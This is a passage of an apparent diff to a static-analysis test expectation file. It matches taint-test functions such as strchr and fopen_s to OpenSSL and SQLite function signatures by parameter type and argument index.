ossl_quic_tserver_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (lemon *,const char *,const char *) | | file_open | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (lemon *,const char *,const char *) | | file_open | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 2 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | defossilize | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | make_uppercase | 0 | +| taint.cpp:785:6:785:15 | fopen_test | (char *) | | next_item | 0 | | taint.cpp:785:6:785:15 | fopen_test | (char *) | CStringT | CStringT | 0 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| taint.cpp:801:6:801:26 | SysAllocStringByteLen | (char *,unsigned int) | | utf8_fromunicode | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| taint.cpp:802:6:802:22 | SysAllocStringLen | (char *,unsigned int) | | utf8_fromunicode | 1 | +| taint.cpp:815:7:815:12 | strchr | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:815:7:815:12 | strchr | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:815:7:815:12 | strchr | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:815:7:815:12 | strchr | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:815:7:815:12 | strchr | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:815:7:815:12 | strchr | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:815:7:815:12 | strchr | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:815:7:815:12 | strchr | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:815:7:815:12 | strchr | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:815:7:815:12 | strchr | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:815:7:815:12 | strchr | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:815:7:815:12 | strchr | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:815:7:815:12 | strchr | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:815:7:815:12 | strchr | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:815:7:815:12 | strchr | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:815:7:815:12 | strchr | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:815:7:815:12 | strchr | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:815:7:815:12 | strchr | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:815:7:815:12 | strchr | (const OSSL_CMP_PKISI *,int) | | 